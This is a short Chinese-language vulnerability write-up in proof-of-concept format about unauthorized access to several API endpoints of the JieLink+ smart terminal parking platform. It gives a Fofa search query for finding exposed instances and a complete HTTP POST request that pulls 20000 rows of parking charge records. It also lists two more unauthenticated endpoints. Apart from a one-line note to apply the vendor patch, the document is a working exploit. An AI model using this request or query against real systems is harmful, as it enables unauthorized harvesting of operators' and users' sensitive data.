JieLink+智能终端操作平台多接口未授权访问

0x01 漏洞描述：

JieLink+智能终端中多个接口存在未授权访问，导致大量敏感信息泄露，危害用户数据安全

0x02 搜索语句：

Fofa：title="JieLink+智能终端操作平台"

0x03 漏洞复现：

POST /report/ParkChargeRecord/GetDataList HTTP/1.1
Host:your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization: Bearer test
Cookie: JSESSIONID=test;UUID=1; userid=admin
X-Requested-With: XMLHttpRequest
Content-Length: 21
Origin: http://x.xx.xx.x:xxx
Connection: close
Referer: http://x.xx.xx.x:xxx/Report/ParkOutRecord/Index
Sec-GPC: 1
Priority: u=1

page=1&rows=20000

其余未授权接口

/Report/ParkCommon/GetParkInThroughDeivces

/report/ParkOutRecord/GetDataList

0x04 修复建议：

官方已发布补丁，请即时获取